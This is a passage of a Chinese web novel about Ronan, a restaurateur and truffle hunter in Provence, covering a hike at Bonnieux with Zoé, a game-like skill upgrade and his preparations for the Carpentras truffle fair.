这是由于梅纳村集市的摊位太紧俏,农夫们没有了果蔬卖也会想办法摆出一些东西,以保下自己的位置。 不过有一类食物在冬季的梅纳村集市上出现的比重变高了,那便是海鲜。 亨利说他在博尼约的集市上只看到了两三家卖海鲜的摊位,但罗南在搬东西来的这一段路上就看到了四五个摊位,而且看起来特别新鲜。 佐伊爱吃海鲜,罗南决定买一点回去中午吃,吃饱了、吃好了下午他们再去博尼约徒步去。 冬天的集市人流量不大,而且罗南带来了足够多的人手,他抽个空离开了自己的摊子: “你们在这里盯一会,我去买点海鲜。” 给顾客倒粉红酒的伊莎贝尔疑惑的看过去: “餐厅里有海鲜啊,都是一早送来的,你还要去买什么?” 维埃里用‘小大人’的语气说: “罗南要去给佐伊买她爱吃的牡蛎、海鲈鱼、海红虾这些餐厅都没有。” 伊莎贝尔瞥了一眼维埃里: “餐厅里有什么没有什么你怎么知道?” 维埃里快速的给顾客找零,同时用‘这不是很正常’的语气说: “我听过罗南给供应商打电话。” “你听过几次啊?”伊莎贝尔上下打量他。 她天天听也没记住,餐厅里每天要进的食材太多了! “好了好了,你们好好看着摊位,我马上回来。”罗南侧身从两个摊位之间的缝隙挤出去,小跑着去了卖海鲜的聚集区。 维埃里嫌弃的小声嘟囔: “真恶心。” 伊莎贝尔皱起眉头。 佐伊的弟弟怎么奇奇怪怪的啊. 语气阴阳怪气的,话也不好听,还总是一副不高兴的样子。 “这有什么好恶心的?”伊莎贝尔忍不住反问他,“罗南和佐伊的感情那么好,你知道有多少人羡慕他们吗.你居然会觉得恶心?” 维埃里忽视了伊莎贝尔的提问,去到路中间大声吆喝: “先生、女士、小姐们,要尝一尝中餐锅包肉和盒饭吗?它们搭配普罗旺斯的特色粉红酒味道最佳!大家可以来试吃一下,如果觉得好可以去我们卢尔马兰的餐厅!” 伊莎贝尔对着维埃里的背影龇了一下牙,用只有自己能听到的声音说: “还没有礼貌,这个年纪的男生最讨厌了!” 罗南没有买太多海鲜回来,因为他和佐伊下午要去徒步,担心吃太多会影响这个他和佐伊期待了许久的活动。 莉亚和罗天海也没有时间给他们做太繁复的菜肴。 第一道菜是‘简简单单’的海鲜冷盘。 佐伊不动声色的把维埃爱吃的海胆转到他面前才开始吃饭。 维埃里看了佐伊两眼,没有说什么,安安静静地吃饭。 过了一两分钟,他突然小声嘟囔了一句‘谢谢’。 佐伊把牡蛎壳放下,优雅的擦了下嘴,没有什么表情的说: “谢罗南吧,是罗南买的。” 罗南低头撇嘴。 这对姐弟啊. 第二道是‘简简单单’的百里香柠檬烤海鲈鱼。 罗南以为这是莉亚做的,因为这道菜非常‘普罗旺斯’,万万没想到这是父亲罗天海在那天吃完海鲜大餐后研究出来的新菜品。 罗天海特意出来问他们: “这道菜怎么样?” 佐伊赞叹道: “没有一个普罗旺斯人可以抗拒它的味道,我发誓。” “厉害啊!”罗南对父亲竖起大拇指。 罗天海呵呵笑道: “活到老学到老,下次做菜品升级的时候可以把这道菜放进去。” 餐厅现在算是正式步入正轨了。 罗天海知道罗南下一步要做的事会和粉红酒有关系。 上一次海鲜大餐聚会上,那几个男士都说粉红酒和海鲜的味道非常搭配,于是罗天海开始研究起了新的海鲜菜品。 未来餐厅里的海鲜种类会更多一些,这样才能和罗南配合上。 罗天海出来匆匆看了一眼就回去了,现在是饭点,后厨挺忙的。 罗天海刚进去,莉亚就端来了今天的主食: “没时间好好做了,简单吃点吧。” 看着面前这道造型诱人的海鲜意面,罗南心想: 我的餐厅里都是些什么‘神人’啊 这是简单吃吃? 这几道菜放到其他餐厅都是‘看家菜’的等级了! 有这么好的硬件条件,罗南决定必须要分出一部分精力,认真考虑餐厅未来的发展规划了。 吃完午饭,罗南开车带佐伊来到距离卢尔马兰不远的博尼约,开始他们的徒步之旅。 对法国人而言,徒步是‘用脚丈量土地,用心品味生活’的仪式,他们对这种种运动的热爱可谓‘深入骨髓’。 究其历史,这项运动居然和艺术家脱不离开关系。 19世纪,诗人与画家,如卢梭、梵高等开始通过行走的方式寻找灵感,塑造了‘漫步即哲思’的传统,这一段时间也被称为法国的‘浪漫主义’时期。 1986年法国徒步联合会发布的报告宣称,约600万法国人每年至少参与一次徒步,而且是覆盖全年龄段的。 而这种被视为‘自由与探索’活动,与普罗旺人的慢生活理念高度契合,因此在普罗旺斯更加普及了。 仅在沃克吕兹省内,著名的徒步路线就有近40条,无论你是想看峡谷、高山还是森林都有大量的路线可选。 而距离卢尔马兰最近的徒步地点有两处,一处是博尼约,另一处是红土城鲁西永。 鲁西永的赭石峡谷适合夏季游玩,于是罗南和佐伊此行的目的是更适合冬季的博尼约雪松之路。 其实卢尔马兰的这个邻居附近有3条徒步路线可选,而且每一条线路都颇具特色,罗南做攻略的时候愁死了,哪个他都想去。 最终还是在佐伊的建议下,他们选择了去雪松森林。 “我估计你接下来也没什么时间来徒步了,所以要去就去个最好的吧。”佐伊坐在副驾驶上轻快的说。 “那片雪松森林特别好看吗?”罗南好奇的问。 佐伊摇头: “是走出森林之后的景色好看,站在那里可以俯瞰卡维永平原和卡隆克峡谷,你不知道那景色有多壮观。” “我开始期待了。”罗南笑容灿烂的说。 博尼约村的北侧就是一片雪松林,从远处看过去,它像是被雪松林怀抱住了一样。 徒步的起点在博尼约北部的D36公路入口,这里的海拔在200米左右,整条徒步线路约5公里,终点的吕贝隆观景台海拔700米,正常情况下2-3个小时可以往返,属于普罗旺斯的中等难度徒步线路。 “这里都修路了呀。”罗南进入入口后开玩笑的说,“如果我去挖松露的路上也能有这么好的路就好了。” 他的面前似乎有一条绿色的隧道,鼻尖全部是雪松树脂的香气,身和心都得到了放松。 佐伊拉住罗南的胳膊,提醒他: “只是前面这几百米修路了,到了后面路挺难走的。” 罗南笑着上下打量她: “所以你买了全套的徒步装备?” 罗南和佐伊定下来要徒步后,佐伊做的第一件事就是买装备。 佐伊轻快的踮了一下脚: “买东西会让人心情愉悦,你不知道我最近压力有多大呢。” 不止佐伊,卢尔马兰的艺术家们都在为‘大地艺术’活动做准备。 罗南有几天没去佐伊家了,问她: “想好要做什么了吗?” 佐伊不满的嘟囔: “有不少想法,但都觉得不够好它们在新艺术家里很有特色,但和真正的艺术家放到一起比就不够好了,我还需要再想想。” 罗南安慰她: “不着急。” 佐伊摇着脑袋说: “反正压力可大了,没有我想的那么简单,最近心情很糟糕。” 罗南坏笑着看她: “那我跟你说个可以让你心情好一些的事?” 佐伊期待的看过去: “什么事?” 罗南清了清嗓子,郑重又不失幽默的说: “我决定要在我家后院建一个专业的木工工坊,至少100平米那种,我需要一位审美高级又拥有渊博知识的女士帮助我填满那里,不知道您——” 佐伊“唰”的一下蹿到罗南身上,沮丧的情绪顿时消失不见,兴奋的问: “天呐天呐,真的吗?我要拥有属于自己的台据了!” 罗南抱着佐伊说: “是的,你还可拥有自己的平压刨组合机、开榫机等等等等我们可以拥有一整个机械工作间!” 佐伊对机械和工具有一种没有缘由的痴迷,这比买衣服还让她幸福和开心。 她跳了下来,欢快的跑进面前的雪松林里: “我还要安装一套最好的除尘系统,防护设备也要升级!” 罗南笑着跟在她身后。 他就知道这个工作间会给他们两个人带来无穷无尽的乐趣。 看,我的女孩笑的多开心啊! 徒步的前1公里全部是百年阿特拉斯雪松,佐伊说这是普罗旺斯林业局在19世纪末专门载种的,为了防治水土流失。 随着地势升高,中间的2-3公里处可以看到白色石灰岩经风化形成的尖峰、洞穴与天然拱门,这里是游客旅游清单上必打卡的地点。 到了这个区域,脚下就不太好走了,地表出现许多苔藓,偶尔也还会有矮木丛‘拦路’。 看到这些矮木丛,罗南想到了布鲁诺,不知道那位老兄现在怎么样了?能不能顺利回巴黎过圣诞节? 不过他没有听到过任何一个农夫抱怨布鲁诺骂人想必应该是挺顺利的。 可以抽空回去打听一下他的消息。 走了大概一个多小时后,他们终于来到了这条雪松徒步线的终点——吕贝隆观景台。 罗南想要找个地方让佐伊坐下休息一会,因为缺乏运动的女艺术家在途中已经喊好几次累了。 中等难度代表它已经不适合所有人了,具有一定的难度。 但还没找到地方,他就被佐伊拉到了一侧的一个青铜做的方位牌旁边。 佐伊指着写有‘Lourmarin’的牌子,气喘吁吁的说说: “卢尔马兰在这个方向,这里标注了周边村庄和山脉的位置。” 之后她继续带着罗南向前走,在罗南看来他们已经来到了‘危险’的区域: “快回去吧,这里一点路都没有了。” 地上全是碎石块,罗南也不知道佐伊带他来这里干什么。 “马上就到了。”佐伊倔强的拉着罗南继续向前。 罗南一边小心的拉着佐伊以防她摔倒,一边哭笑不得的问: “你怎么又有力气了?” 他们面前的松树林已消失不见,佐伊突然张开双臂,似乎要把面前的一切拥入怀里: “因为这个风景,如果不是为了看它,我可能真没有动力跟你来徒步。” 卡隆克峡谷‘鬼斧神工’一般出现在他们的脚下,与它相连的是稍远处的卡维永平原,这幅美丽的画卷一直延伸到了视线的尽头。 罗南一时间竟然分不出天地的界限在哪里。 他笑着问身边的佐伊: “如果我下次还想来看这个景色,你会陪我吗?” 这真的太美了! 佐伊从刚才的兴奋状态中脱离,有些犹豫的说: “看情况吧.你也可以让维埃里陪你。” “哈哈,你又不吃醋了?”罗南开玩笑的问。 佐伊扭头原路返回: “我吃他的醋干什么?那是我弟弟。” 佐伊的体力真的不太好,上来已经耗费了她全部的体力。 “记得几个月前我和你去吃米其林,也是爬了好久的路。” 她指的是去雅克先生餐厅吃饭的那次。 提起那次罗南就想笑: “你知不知道,那次你拉我有多用力?我的胳膊都疼了。” 佐伊无语的说: “你怎么不说你一点都不‘绅士’呢?我不用力抓着你你就走远了,根本不知道管管我,那天我都要累死了。” 在佐伊的惊呼声中,罗南‘绅士’的把她背了起来: “这次我不走了,我背你下去。” 女艺术家笑着抱住罗南的脖子,以保持住身体平衡: “这是不是你第一次背我?” 罗南回忆了一下。 好像还真是。 “看来我们还有许多事情没有解锁啊?”罗南回头坏笑着说。 佐伊趴在罗南的肩膀上,幸福的闭上眼睛: “慢慢都会解锁的” 【与异性发生亲密接触幸福度增加35点】 罗南暗自挑了下眉毛。 经过一年时间‘和谐’相处,他已经习惯耳边偶尔出现的系统提示音了,甚至经常会忽略。 好几个月没升级技能了,最近又发生了这么多幸福的事。 现在存了多少【幸福度】了呢? 第259章 越努力越幸运! 罗南最后一次使用系统升级还是在10月中旬,花了600点幸福度将【打猎】升级到3级。 那一次使用之后余下1500点【幸福度】。 又过了近两个月的幸福生活,系统里的数值来到了一个新的高度,马上就要突破5000点了! 【3级建造:0\2000】 【4级种植:0\5000】 【3级采集:0\2000】 【4级烹饪:0\5000】 【3级编织:0\2000】 【3级打猎:0\2000】 【3级制陶:0\2000】 【1级捕鱼:0\100】 【1级酿酒:0\100】 【1级玻璃烧制:0\100】 【可使用经验:4797】 【幸福度】多了,可选择的升级方向就多了。 比如罗南可以再升一级【建造】,加快明年装修的速度。 也可以升级【编织】,说不定可以制作出更厉害的手工编织物样,帮助这种工艺在普罗旺斯更快的普及起来。 但存到5000点不容易,罗南又打起了两个4级技能【种植】和【烹饪】的主意。 不知道耗费5000点幸福度升级的技能会不会有质的飞跃呢? 如果一定要在这两个技能里选一个,罗南这一次会选择把【烹饪】升级。 餐厅将是未来最稳定的赚钱途径,罗天海和莉亚这两员大将都有不俗的能力,值得增加‘筹码’。 罗南还想到了雅克先生曾经对他的提点——他的米其林2星餐厅,是通过参加普罗旺斯地区的一个个烹饪比赛把知名度打出来的。 “那我是不是也可以升级一下技能去参赛呢?”罗南突然有了这个想法。 如果要参加普罗旺斯地区的烹饪比赛,就一定绕不开一个人,那就是略伦特先生。 几天前,沃克吕兹省美食联盟的工作人员帮助罗南办理了入会手续。 能看出这是个大联盟啊,办理入会需要提供许多的材料。 罗南加入沃克吕兹省粉红酒爱好者协会时只带了一个人去。 加入这么大的联盟,当然要感谢一下邀请人了。 从博尼约回来,罗南给略伦特先生打去了一电话,向他表达感谢。 略伦特热情的回应了罗南,还很体贴的表示如果有什么需要帮助的地方一定要及时提出来,他一定会予以帮助。 罗南一点都没听出来那只是‘客气客气’,直接问道: “您知道的,我的餐厅刚刚开业,需要打出知名度,不知道沃克吕兹省或者普罗旺斯近期有没有什么关于美食的活动可以参加?” 略伦特先生沉思了一下: “沃克吕兹省和普罗旺斯地区的美食活动全部集中在3-9月的旅游季举办,冬天是没有的。” 罗南了然的点了下头。 怪不得阿图尔说他们加入沃克吕兹省美食联盟后没有任何人联系过他们.原来是月份不对啊。 不过这也可以理解。 普罗旺斯的一切商业活动都是围绕游客展开的,在冬天举办活动的确不是个好时候。 “那好吧,如果未来有活动我一定会去参加的。”罗南礼貌的回应。 论略特话锋一转,又给罗南指了另一条路: “不过罗南,我记得帕斯卡说你是个优秀的松露猎人对吧?” 罗南谦虚的说: “优秀谈不上,但确实是松露猎人。” 略伦特热情的问: “美食活动没有,但有和松露相关的活动,下周三在卡庞特拉将举行一年一度最重要的松露特色集市,届时全普罗旺斯最优秀的松露猎人和松露经纪人都会去,正好这个活动我有参加.需要我帮你留一个摊位吗?” 罗南兴奋的说: “可以可以,太感谢你了略伦特先生。” 还是得多和大佬们走动啊.一个电话居然打来了一个特色集市? 参加特色集市的会是普罗旺斯全境的客人。 他又可以走出吕贝隆了! 罗南没有参加松露特色集市的经验。 尤其略伦特说全普罗旺斯最优秀的松露猎人都会参加,让他有点没底气了。 万一别人的摊位上都是松露山,他的摊位上只有别人的一半甚至更少怎么办? 罗南当天晚上就带着小黑去了卢卡斯家,希望邀请这位松露猎人和他一起去参加。 大家都是朋友互帮互助是应该的。 卢卡斯开门见罗南身边带着狗马上笑了: “又来这附近遛狗了?” 这次罗南没有开‘普罗旺斯式’玩笑: “不是,特意来找你的。” 卢卡斯让开路让罗南进去: “聊事情还带着狗?” 你小子这目的不要太明显了好不好? 罗南指着正和小黑贴贴的玛格丽特,理直气壮的说: “小黑也需要社交,它和它的朋友好久没见了。” 卢卡斯走向吧台后的巨大酒柜: “粉红酒?” 罗南坐到吧台前,笑着说: “我以为你家的粉红酒都被我喝完了。” 罗南上一次来卢卡斯家吃饭,喝完了他家里的最后一瓶粉红酒,那天卢卡斯找了许久都没有找到第二瓶。 卢卡斯拿起两个杯子,给两个人分别倒酒: “想到你有可能还会来,所以又买了几瓶。” 罗南和卢卡斯虽然见面的次数不多,但也算是‘惺惺相惜’的朋友,他直接说出了此行的目的: “我下周要去卡庞特拉参加松露集市,你和我一起去吧,咱俩用一个摊位。” 卢卡斯心里‘咯噔’一声。 卡庞特拉是普罗旺斯最大的松露集散地。 每年12月在那里举办的松露特色集市会聚焦到全普罗旺斯对松露感兴趣的买家和卖家的目光。 他们只开放300个摊位,但申请者有上千个,没有人脉完全搞不到。 罗南居然搞到摊位了? “你认识集市活动举办方?”虽然心中震惊无比,但卢卡斯表面上风平浪静的。 罗南摇头: “不认识,是朋友邀请我去的。” 卢卡斯把倒有粉红酒的酒杯推到罗南面前,语气复杂的说: “你朋友不少。” 又是朋友? 罗南哪里来这么多厉害的朋友啊? 罗南再次发去邀请: “你和我一起去吧,咱们两个人一起数量上肯定不会少,说不定能多吸引来更多的客人?” 松露的最佳赏味期很短,那天去参加特色集市能带去的松露有限。 罗南猜每个摊位上的数量应该都不会太多,说不定他和卢卡斯一合作,可以从数量上脱颖而出。 卢卡斯喝了一口红葡萄酒: “你太小看普罗旺斯的松露猎人了,我去过那个特色松露集市,摊主都是用小推车拉松露来卖的,咱俩加一起能凑到多少?” “小推车?他们能挖那么多?”罗南不敢置信的问。 卢卡斯用‘你还是太年轻’的语气教导: “我亲眼见过一个来自蒙特克斯的松露猎人进山一天带回来一大麻袋松露,至少有8公斤,说不定可以到10公斤。” 他把杯子里的酒全喝了,又倒上第二杯: “卡庞特拉特色松露集市上全是这种‘怪物’,你觉得带多少去能胜过他们?” 罗南喝了一口粉红酒压惊,同时让自己冷静下来。 俗话说的好,山外有山,人外有人。 仅仅靠3级【采集】确实很难成为松露猎人中的佼佼者。 他不过在卢尔马兰和以梅纳村为中心的小吕贝隆区域算优秀罢了。 感谢卢卡斯让他找到自己清晰的定位。 “那就抱着学习的目的去参加,就当去开开眼界了。”罗南很快接受了这个现实,并转换心态。 卢卡斯把第二杯酒一饮而尽: “你去吧,我就不去了。” “为什么?”罗南意外的问,“你那些松露全部找到卖家了吗?” 最后一次见面,卢卡斯说他的渠道吃不下他全部货,还在为此担心呢。 罗南不理解卢卡斯为什么要拒绝一个这么好的机会。 那天肯定会有许多渠道商出现,这不正是他们需要的资源吗? 卢卡斯继续给自己倒酒: “全部找到卖家了,我之前总去那里,最近玛格丽特有些累了,我打算下周在家多陪陪它。” 罗南了解卢卡斯的性格,他决定了的事再劝也没有用.就像他必须要做松露人工培育一样。 多说无益。 又喝了两杯酒,罗南带着小黑离开。 这次玛格丽特已经不顾‘爸爸’卢卡斯的呼唤,要跟着他们一起走了。 卢卡斯蹲在家门口的草坪上,控制住玛格丽特: “你下次能不能自己来,别再带着狗了?” 罗南有些沮丧的说: “好吧。” 转过头去走了几步,他低头小声对小黑说: “你的豪门梦破碎了,没有下次约会了。” 小黑:那是我的梦吗?? 罗南和小黑渐渐消失在夜幕中,但卢卡斯依然保持着那个姿势抱着玛格丽特,愣愣的看着罗南离去的方向。 卢卡斯当然知道卡庞特拉特色松露集市是一个很好的机会。 但他真的没办法低下骄傲的头颅,接受罗南的帮助。 一年前梅纳村的摊位都是卢卡斯找人给罗南办的,这还一年不到,罗南都能自己去参加卡庞特拉的特色集市了? “这小子成长的太快了。” 虽然知道肯定无法靠数量吸引客人的目光,但罗南还是没有放弃。 万一他找到松露的老巢了呢? 周日,罗南早上6点就离开了家,晚上5点才返回,带回来了4.2公斤的松露,比平时多了1斤多。 周一,罗南又提早了一个小时,天还没亮就开车离开,晚上6点多才返回,这一次收获更多了,足足有5公斤,差一点就有平时的两倍多了。 只是他一身衣服脏的跟在地里滚过的一样,冯珍都不敢放他进餐厅,担心客人把他当乞丐赶出声。 “你回家洗澡休息吧,我给你带点吃的走。”冯珍一边给罗南掸身上的土,一边心疼的说,“儿子,咱明天别这么拼了行不行?就算明天挖回来10公斤是不是也没那些人厉害啊?” 她听罗南描述了卢卡斯讲过的例子。 那些优秀的松露猎人一天就能挖10公斤。 你说你还拼什么呢? 罗南脸上虽然布满脏兮兮的泥土,但挡不住他眼睛里映射出来像星星一样的微光: “妈妈,你没听过那句话吗——越努力越幸运!说不定正有一个大大的惊喜等着我呢?” 第260章 惊喜!大大的惊喜!! 时间倒退回几个小时前。 周六晚上见完卢卡斯,罗南就开始琢磨是否要花费2000【幸福度】把【采集】升到4级。 但升级后给的能力实在太随机,罗南有些拿不准这次投入是否有必要。 而且他刚刚送走一批货,用来给卡庞特拉特色松露集市做准备的时间只有三天。 即使开出了一个逆天技能,也很难和那些一天能采10公斤松露的猎人们相比。 不如就抱着学习的心态去,不那么激进了。 罗南以为他的心已经做好了决定,但他的身体却每天早早的醒来、晚上不舍得离开那片森林 这说明在他的真实想法是不想放弃,还是想要搏一搏。 于是在周一的中午,罗南顺从了心的选择把【采集】升到了4级。 【烹饪】要到明年开春才能用上,【种植】目前也没有什么用武之地,系统里的【幸福度】那么多,升了也就升了。 没想到这次升级还真开出了好东西。 升级带来的改变只有一个,那便是海量的知识。 多到罗南在森林里梳理了一两个小时才找到能和采松露关联上的东西。 其中有两个是罗南认为对他帮助非常大的。 第一个是系统更加详尽的解释了松露与宿主树的共生关系。 松露的菌丝可以扩展树木根系吸收范围,提高磷、钾及微量元素的摄取效率从而促进树木生长。 所以共生树的地上部分会比没有松露共生的树木多10-15%,有可能是更粗,也有可能是更高。 而松露需又会消耗宿主树20-30%的光合产物,导致宿主树的木碳分配向地下倾斜,因此宿主树的树冠会更稀疏,叶面积指数低8-12%。 这个新的知识点可以让罗南根据树的状态寻找松露的痕迹了。 以前他总是低着头找‘寸草不生’的地方,走不快的,现在先找树再看地面,效率又大大提升了一截。 而且现在罗南也知道了他嘴里‘寸草不生’地区的学名——松露圈。 那天下午,他通过观察树木状态和寻找‘松露圈’的结合方法找松露,效率提高了将近一倍。 即使浪费了近2个小时在森林里总结知识点,也带回家了5公斤左右的松露。 而罗南在系统给的新知识里,找到的第二个有可能和松露有关的知识点,居然是和动物跟气味有关的。 他可以通过动物闻到气味的后反应,判断出它对该气味的敏感度。 动物的鼻腔结构复杂,犬类嗅觉细胞约3亿个,它们对不同挥发性因子的反应是不同的。 这个能力可以帮助罗南找到最棒的松露犬! 小黑和马赛只是因为性格问题‘辍学’了,这并不代表它们不是这块材料。 罗南觉得已经盖上的棺材板有了松动的迹象,也许两只狗还有抢救的可能性啊。 这个发现何尝不是一个巨大的惊喜呢? 不过罗南怀着巨大的期待从餐厅返回家里,得到的结果却让他刚捂热乎的心马上凉了。 他拿了新鲜的松露给两只狗闻,它们的敏感度都很低。 也就是说即使小黑和马赛没有辍学,天天上课也很难以优异的成绩毕业。 罗南有些郁闷的坐到沙发上,小声抱怨: “要准备生三胎了吗?” 想找一只优秀的松露犬怎么这么难啊! 周二是罗南去特色集市前最后一天进山的日子,也是他最后努力的机会。 这一天他比周一起的更早了,快开到弗拉西耶了,天还是黑的。 不过罗南并没有觉得有多苦,啃着面包的嘴还是向上扬起的。 “别管明天的情况怎么样,挖的多卖的就多,卖的多赚的就多.有什么好抱怨的呢?” 睡了一觉,罗南已经从没有松露犬的沮丧中走出。 他乐观的认为——松露犬一定会出现在他的生命里,只不过现在还没到时候! 出来的早,罗南进入山林时,晨雾还没散去,能见度不是很高。 不过这片林子罗南来过太多次,穿着专业的装备前进的速度并没被影响。 但由于眼睛看不清,其他感官被无限放大。 他竟然在这条每周要走四五次的路上‘看’到了不一样的景色。 雾的缘故,弗拉西耶这片密林的味道更好闻了,那是树脂香混合着被露水沾湿的落叶和芬芳泥土的气味。 双脚踩到地面上的感觉也具象了起来,罗南能脑补出藏在湿漉漉落叶下菌类被压瘪的景象。 这种平时较少能闻到的气味和之前忽略的脚底触感又让罗南的大脑想到了许多哲学问题。 关于自然的、关于死亡的、关于禁锢与救赎的. “怪不得卢梭和梵高会通过行走的方式寻找灵感,漫步即哲思啊。”意识到自己的大脑居然发散了那么多东西后,罗南小声嘀咕。 他觉得此刻的自己艺术的可以加入餐厅里那些艺术家的热闹讨论里去了。 “当第一缕光刺穿叶隙时,连腐殖土都成了圣物。” “我踩着蕨类的尸骸行走,却听见地底菌丝在唱复活节的赞美诗。” 罗南大声朗诵起卢梭的《一个孤独漫步者的遐想》,中间还偶尔穿插几句: “我的小松露,你在哪里歌唱呢?” 找到了好玩的事情打发时间,罗南很快便走到了他的‘工作地点’,开始寻找松露踪迹。 有了新的找松露技巧,刚一个多小时,罗南的松露袋子里就铺满了厚厚的一层,大概一公斤多的样子。 如果能保持住这个速度,今天的总采集量可以达到6-8公斤,已经可以摸到优秀松露猎人的门槛了。 只是给他准备的时间着实太短、太仓促,如果多来几天,罗南有信心他也能拉着小推车去卡庞特拉特色松露集市。 将近10点,罗南找了一片干净的地方坐下吃午饭。 家里开了餐厅后,罗南的伙食一天比一天好,年初出来采松露只能吃到面包、酱牛肉和饺子,现在他都可以吃到6道菜的大餐了而且还是热乎的。 冯珍给他做了一个保温的小袋子。 “苦吗?这日子一点都不苦啊,这日子太幸福了。”罗南把价值好几千法郎的松露袋子放到腿上,双手放于脑后,靠到身后的树干上,眺望地上洒落下来的阳光。 阳光从松针与橡树叶的缝隙中照射进来,在地面投出斑驳的金色光斑,一片一片的特别好看,罗南不由得看入迷了。 看着看着,他突然发现了一片不一样的‘金色光斑’。 别人都是一点一点的,那里是一大片,同样是光斑看着却像是两个画家画出来的。 罗南想弄清这一大片光斑的成因,眯着眼睛抬头看向头顶。 这一看不得了,他不由惊呼出口: “好秃的树啊。” 那棵树的头顶都没有什么叶子了,所以能渗透进来更多的阳光。 一看那棵树,罗南就知道来活了。 树冠这么稀疏下面一定有松露,绝对错不了。 他收拾好东西,走向那棵粗壮的橡树,到了树根附近俯身子用鼻子用力嗅了几下,味道非常清晰,罗南很快锁定了目标的方位。 之后的事情就很简单了,轻轻的向下挖。 挖。 再挖。 继续挖. 罗南的表情逐渐出现了变化,挖了这么久都没有看到松露的情况很少发生。 如果不是通过树木的状态确认这下面绝对有松露,罗南肯定要收手了。 又挖了一会,距离地面超过30厘米后,罗南才摸到了那个熟悉手感的小东西。 之后的事情就很简单了,轻轻的向两侧挖。 挖。 再挖。 继续挖. 这次罗南的眼睛逐渐睁大、瞪圆。 到最后他一整脸几乎趴到了地上。 “上帝,这次真的是惊喜了!而且是大大的惊喜!!” 这几天罗南纠结要不要升级【采集】。 卢卡斯纠结要不要和罗南一起去卡庞特拉特色松露集市。 周二下午,他早早的带玛格丽特返回卢尔马兰,但在家里完全待不住,披了件衣服就去了商业街上罗南的的餐厅。 那天罗南来的突然,卢卡斯没有想明白就‘意气用事’的拒绝了。 但罗南走后,他后悔的都睡不着了。 逛卡庞特拉特色松露集市和去参与的意义完全不一样。 如果能在那里以摊主的身份出现,证明在普罗旺斯的松露界有一席之地了。 这对于正在做松露人工培育生意的他来说无比重要。 奥利维埃退出后,卢卡斯疲于四处凑钱让人工培育松露的项目别停下,但他同样需要能够收购松露的渠道啊。 怎么就拒绝了呢? 但卢卡斯骄傲惯了,之前的近十年只有别人求他办事,他从来没有求过一次人。 即使现在后悔了,他也抹不开面子去和罗南主动提这件事,只盼望罗南在餐厅见到他能再邀请一次,这样卢卡斯就可以顺理成章的加入了。 卢卡斯以为要在餐厅等罗南很久,没想到刚喝了两杯罗南就回来了。 “今天这么早。”冯珍抬头看了一眼天,“天还没黑呢。” 昨天和前天罗南都是6、7点才回家的。 我们家孩子什么时候这么听劝了? 罗南紧紧的抱住自己的松露袋子,兴奋的对母亲说: “今天咱们吃点好的!” 冯珍笑着打趣: “咱们哪天吃的不好?” “更好的!现在还能买到海鲜吗?” “都几点了,去哪儿买海鲜啊,吃面条吧。” “也行也行,吃喜面!” “这孩子,喜面是那么用的吗?” “就是这么用的!” 罗南抱着松露袋子去二楼,卢卡斯鼓起最大的勇气主动和罗南打了个招呼。 看到卢卡斯,罗南更兴奋了,立即向他走来。 卢卡斯已将做好了要说‘我愿意’的准备。 但罗南只是拍了下他的肩膀,语气欢快的说: “多吃点多喝点啊,今天我请!” 说完他一溜烟的跑了,甚至都没有停下看一眼一脸焦急的卢卡斯。 卢卡斯表情复杂的愣在原地。 这么快就不需要我了吗? 周三一早,罗南早早的离开家,前往卡庞特拉参加特色松露集市。 “他怎么这么兴奋?”罗天海回头问妻子,“看着跟要去打仗似的。” 冯珍坐到罗天海对面,摇着脑袋说: “早上一起来就念叨什么‘要去把卡庞特拉炸了’、‘要去把卡庞特拉炸了’.可能真要打仗去了吧。” 第261章 特级松露! 卡庞特拉距离卢尔马兰非常远,有80公里,从吕贝隆山区开到这里要2个多小时。 它位于阿维尼翁北部,沃克吕兹省的中心地带,旺图山脚下,是一座拥有2万多人的小城镇。 1229年至1791年间这里曾是教皇的领地。 进入20世纪和21世纪,卡庞特拉一直是法国犹太教的重要中心,也是法国最古老的犹太教堂所在地,那所古老的教堂自1367年开始至今仍在使用。 由于犹太人在卡庞特拉活动频繁,因此商业高度发达,其中最突出的便是松露生意。 虽然同属于沃克吕兹省,但这座城市由于地形的原因,并没有经历11月那场旷日持久西北风的洗礼,而一整个冬天,这里都鲜少会有风光顾,是冬季体验普罗旺斯生活的绝佳旅游胜地。 但到了夏季,卡庞特拉就没有那么舒服了。 它曾短暂的保持过法国历史最高气温的记录。 由于冬季舒适、无风的特性,普罗旺斯冬季最重要的‘黑黄金’交易市场被设置在这里。 11月至次年3月,卡庞特拉每周五上午的集市里都会有大量卖松露的摊主出现,使得这里成为沃克吕兹省黑松露最大的集散地。 而每年12月,这里还会举行一次规模极大的黑松露特色集市。 一年一度在阿里斯蒂德·白里安广场举行的黑松露特色集市是一场属于‘黑黄金’的饕餮盛宴,集市上的每一个摊位都摆放着和黑松露相关的产品。 在这里,顾客不仅可以看到和其他食材一起制作而成的黑松露酱、松露油,还能看到号称从黑松露中提取营养成分的化妆品总之产品种类繁多,涉及各行各业。 不过来参加特色松露集市的绝大部分人都是为了新鲜松露而来。 即使不买也必须来参观一下。 因为只有在卡庞特拉的特色松露集市上,才有机会看到大量像小孩拳头那么大的黑松露。 这种精品松露平时只能在高档餐厅看到,但在卡庞特拉的特色松露集市上随处可见,甚至还有顶级松露猎人拉着一车这种品质的精品松露沿街叫卖。 “卡庞特拉的特色松露集市从来没让我失望过。”穿着灰色呢绒大衣的雅克推了一下黑框眼镜,在道路上左右张望。 对于松露有极高要求的他,怎么会缺席这次松露盛会呢? 在他身边,穿着西装、头戴礼帽的略伦特开玩笑的说: “雅克,什么时候你买奶酪能像买松露这么舍得花钱就好了。” 阿尔诺家族一直和雅克的米其林餐厅保持密切的合作关系,负责沃克吕兹省业务的略伦特自然和雅克这个大客户走得近。 但这个‘近’只是单方面的。 雅克的目光在一个一个摊位上游移,语气冰冷的说: “略伦特,如果你想说的真的是松露和奶酪,我愿意和你聊聊,但你如果又打起了其他主意,比如邀请我加入什么联盟,我劝你还是省一省吧。” 略伦特一有合适机会就会邀请雅克加入他的‘沃克吕兹省美食联盟’,但对抱团取暖不感兴趣并且性格清高的雅克对此完全没有兴趣。 略伦特双手背后,笑着摇头: “雅克,你说话的语气越来越像伊内斯了。” 那个绝情的女人也经常不给略伦特开口的机会,习惯早早的堵上他的嘴。 雅克的情商似乎短暂下线了: “谢谢你的称赞,伊内斯一直是我想要成为的那类人。” 略伦特顺着这个话题说下去: “那你更应该加入‘沃克吕兹省美食联盟’,伊内斯已经带领米切兰成为了普罗旺斯最棒的杂志社,而和你一样的米其林餐厅还有10几家,你应该想一想,如何成为这里面最棒的那一个。” 雅克丝毫没给略伦特面子: “我猜你和其他米其林餐厅也是这样说的吧?” 